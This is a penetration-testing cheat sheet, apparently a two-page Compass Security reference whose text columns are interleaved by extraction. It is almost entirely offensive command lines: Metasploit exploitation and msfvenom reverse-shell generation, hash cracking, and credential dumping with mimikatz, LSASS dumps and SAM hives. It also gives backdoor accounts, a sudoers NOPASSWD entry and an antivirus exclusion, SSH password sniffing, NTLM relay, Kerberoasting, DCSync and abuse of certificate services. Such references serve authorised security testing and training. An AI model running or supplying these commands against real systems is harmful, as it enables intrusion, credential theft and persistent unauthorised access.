Linux Hacking - Tools - Cheat - Sheet - v2.0
Linux Hacking - Tools - Cheat - Sheet - v2.0
Hacking Tools Cheat Sheet, v2.0, August 2023, Compass Security, https://compass-security.com 1
Vulnerability DBs and Exploits msf > sessions 2 # interact Windows Privilege Escalation Scan for network shares:
meterpreter > sysinfo # use it $ smbmap.py --host-file hosts.txt -u
Exploit search (local copy of the Exploit-DB): Bypass PowerShell execution policy:
$ searchsploit apache File exchange / execute binary: PS > Set-ExecutionPolicy -Policy
Administrator -p PasswordOrHash
meterpreter > upload beacon.exe bypass -Scope process
Show exploit file path and copy it into clipboard: meterpreter > download c:\keepass.kdb Windows Credentials Gathering
$ searchsploit -p 40142 meterpreter > execute -i -f /your/bin Use AMSI bypasses from amsi.fail.
Start Mimikatz and create log file:
Online vulnerability and exploit databases: Port forwarding to localhost: Check for common privesc techniques: C:\> mimikatz.exe
▪ cvedetails.com, exploit-db.com, meterpreter > portfwd add -l 2323 -p ▪ GitHub carlospolop/PEASS-ng → winPEAS mimikatz # log C:\tmp\mimikatz.log
packetstormsecurity.com 3389 -r 10.5.23.23 ▪ GitHub itm4n/PrivescCheck
mimikatz # privilege::debug
Background Meterpreter session: ▪ GitHub PowerShellMafia/PowerSploit → Show passwords/hashes of logged in users:
Cracking meterpreter > background mimikatz# sekurlsa::logonpasswords
PowerUp.ps1
Online brute force SSH passwords: Pivoting through existing Meterpreter session: Dump lsass.exe using taskmgr or:
Exploit WSUS updates delivered via HTTP:
# ncrack -p 22 --user root -P msf > use post/multi/manage/autoroute PS > (Get-Process -Name lsass).Id
$ pywsus --host 10.5.23.42 --port 8530
passwords.txt 10.5.23.0/24 msf > set session 2 # meterpreter sess PS > procdump.exe -accepteula -ma
--executable /opt/psexec64.exe --
Determine hash type: msf > run <pid> c:\lsass.dmp
command '/accepteula /s cmd.exe /c
# hashid 869d[...]bd88 msf > route PS > rundll32.exe
"powershell.exe -encodedCommand J[…]"'
C:\windows\System32\comsvcs.dll
Show example hash types for hashcat: SOCKS via Meterpreter (requires autoroute): Add new local admin to persist after privesc: MiniDump <pid> C:\lsass.dmp full
$ hashcat --example-hashes msf > use auxiliary/server/socks4a C:\> net user backdoor hunter2
msf > set SRVPORT 8080 Read LSASS process dump:
Crack hashes (e.g. type 1000 for NTLM): C:\> net localgroup Administrators
msf > run mimikatz# sekurlsa::minidump lsass.dmp
$ hashcat -m 1000 -a 0 hash.txt -r backdoor /add
$ pypykatz lsa minidump lsass.dmp
rules.txt /opt/wordlists/* Configure ProxyChains: Add AV exclusion:
# vi /etc/proxychains.conf Dump LSASS remotely:
Crack hashes using John the Ripper: PS > Add-MpPreference -ExclusionPath
[...] $ lsassy -u admin -H e8[…]97 hostname
$ john --wordlist=pwds.txt hash.txt C:\tmp\
socks4 127.0.0.1 1080 Export SYSTEM & SAM hive for local users:
Metasploit Framework Connect through SOCKS proxy: Active Directory C:\> reg save HKLM\SYSTEM system.hiv
# proxychains ncat 172.23.5.42 2305 C:\> reg save HKLM\SAM sam.hiv
Start Metasploit, search & use exploit: Start process with network credentials:
C:\> runas /netonly Dump hashes from SYSTEN & SAM file:
# msfconsole Linux Privilege Escalation mimikatz# lsadump::sam
msf > search eternalblue /user:example.net\alice powershell.exe
msf > use exploit/windows/smb/ms17_… Check for common privesc techniques: Analyze AD & create report using PingCastle:
/system:system.hiv /sam:sam.hiv
$ secretsdump.py -sam sam.hiv -system
msf exploit(…) > show options ▪ GitHub carlospolop/PEASS-ng → linPEAS C:\> PingCastle.exe --healthcheck -- system.hiv local
msf exploit(…) > set TARGET 10.5.23.42 ▪ GitHub rebootuser/LinEnum explore-trust --explore-forest-trust
msf exploit(…) > exploit Dump local user hashes remotely:
▪ GTFOBins: gtfobins.github.io --no-enum-limit
$ secretsdump.py
Generate reverse shell (WAR): Set SUID bit to shell and start root shell: Gather BloodHound data using SharpHound: example.net/alice:hunter2@hostname
$ msfvenom -p # chmod +s $(which sh) C:\> SharpHound.exe -c $ crackmapexec -u admin --local-auth
java/jsp_shell_reverse_tcp LHOST=<your $ sh -p All,GPOLocalGroup -H :01[…]D03 10.5.23.0/24 –sam
ip address> LPORT=443 -f war > sh.war
Add SUDO backdoor user: Query AD using PowerView: DCSync:
Reverse shell listener: # echo "user ALL=(ALL:ALL) NOPASSWD: PS > Import-Module PowerView.ps1 $ secretsdump.py -just-dc -just-dc-
msf > use exploit/multi/handler ALL" >> /etc/sudoers.d/README PS > Get-Domain user alice example.net/admin:s3cret@dc
msf > set payload PS > Get-DomainUser mimikatz # lsadump::dcsync /user:alice
linux/x64/shell_reverse_tcp PS > Get-DomainTrust
Lateral Movement Linux
msf > set LHOST 10.5.23.42 # attacker PS > Get-DomainComputer Pass-the-Hash
msf > set LPORT 443 Sniff SSH passwords: PS > Get-DomainController
msf > exploit # strace -p "$(pgrep -f PS > Get-DomainGroupMember -Recurse Remote shell:
Upgrade to Meterpreter: /usr/sbin/sshd)" -f -e trace=write -Identity "Domain Admins" $ psexec.py -hashes :23[…]05
background # or press Ctrl-Z ^Z SSH agent hijacking: domain/username@10.5.23.42
background session 1? [y/N] y # export SSH_AUTH_SOCK=/tmp/ssh…/agent Network Shares Alternatives: smbexec.py, wmiexec.py.
msf > sessions # list sessions # ssh-add -l Search for juicy files on domain joined systems:
msf > sessions -u 1 # upgrade C:\> snaffler.exe -s -o snaffler.log
Hacking Tools Cheat Sheet, v2.0, August 2023, Compass Security, https://compass-security.com 2
Access shares: mimikatz# misc::spooler misc::spooler S4U2Self (machine account to local admin): Remove certificate to cleanup:
$ smbclient.py -hashes :23[…]05 /connect:victim /server:attacker C:\> rubeus.exe asktgt /nowrap C:\> whisker.exe clean /target:alice
example.net/alice@10.5.23.42 Coerce via PetitPotam (EFS remote protocol): /domain:example.net /user:"MYHOST$"
Spray hash over a subnet: $ PetitPotam.py -u alice -p hunter2 -d /aes256:23[...]05 Active Directory Certificate Services
example.net attacker victim C:\> rubeus.exe s4u /self /nowrap
$ crackmapexec smb 10.0.1.0/24 -u
/impersonateuser:domainadmin List CAs & find vulnerable templates:
alice -d example.net -H 23[…]05 mimikatz# misc::efs /connect:victim C:\> certify.exe cas
/server:attacker /altservice:cifs/server.example.net
Enable restricted admin mode: /ticket:doI[…]= C:\> certify.exe find /vulnerable
PS > New-ItemProperty -Path Coerce using multiple different techniques: Request certificate with specified subject:
HKLM:\System\CurrentControlSet\Control $ Coercer.py coerce -u alice -p Kerberoasting C:\> certify.exe request
\Lsa -Name DisableRestrictedAdmin hunter2 --target victim --listener-ip /ca:ca.example.net\CA /template:ESC1
-Value 0 -PropertyType DWORD -Force attacker Get users with SPN: /altname:bob /install
PS > Get-DomainUser -SPN
RDP (requires restricted admin mode): Use certificate to get Kerberos ticket:
Password Spraying Kerberoast (hashcat mode 13100):
$ xfreerdp /u:alice /d:example.net C:\> rubeus.exe asktgt /ptt /user:bob
/pth:23[…]05 /v:10.5.23.42 Display password policy: C:\> rubeus.exe kerberoast /certificate:crt.pfx /password:hunter2
C:\> net accounts /domain /outfile:hashes.txt
RDP using mimikatz: /domain:example.net /dc:dc.example.net
mimikatz# sekurlsa::pth /user:alice Password spraying for all domain users: Get users which do not require preauth: NTLM relay to HTTP enrollment endpoint:
/domain:example.net /ntlm: 23[…]05 C:\> rubeus.exe brute /password:s3cret PS > Get-DomainUser -UACFilter $ ntlmrelayx.py -t
/run:"mstsc.exe /restrictedadmin" DONT_REQ_PREAUTH
Password spraying for certain users: http://10.5.23.42/certsrv/certfnsh.asp
C:\> rubeus.exe brute /users:users.txt AS-REP roast (hashcat mode 18200): -smb2support --adcs --template Machine
NTLM Relay /passwords:passwords.txt C:\> rubeus.exe asreproast
Vulnerable if message signing disabled: $ kerbrute passwordspray --dc 10.0.0.5 /format:hashcat /outfile:hashes.txt MS SQL
# nmap -n -Pn -p 445 --script smb- -d example.net users.txt hunter2 Use PowerUpSQL & get instances:
security-mode 10.5.23.0/24 Kerberos Delegation
PS > Import-Module PowerUpSQL.ps1
Kerberos Get unconstrained delegation systems:
Generate relay list: PS > $t = Get-SQLInstanceDomain | Get-
$ crackmapexec smb 10.5.23.0/24 --gen- List Kerberos tickets: PS > Get-DomainComputer -Unconstrained SQLConnectionTest | ? { $_.Status -eq
relay-list targets-smb.txt C:\> klist Watch for forwardable tickets: "Accessible" }; $t
Disable SMB and HTTP in Responder.conf and C:\> rubeus.exe klist C:\> rubeus.exe monitor /interval:10 Get information & vulnerabilities:
C:\> rubeus.exe triage /nowrap PS > $t | Get-SQLServerInfo
start Responder for LLMNR/NBT-NS poisoning:
# responder -I eth0 Dump Kerberos keys: Coerce DC, import ticket & DCSync to privesc. PS > $t | Invoke-SQLAudit -v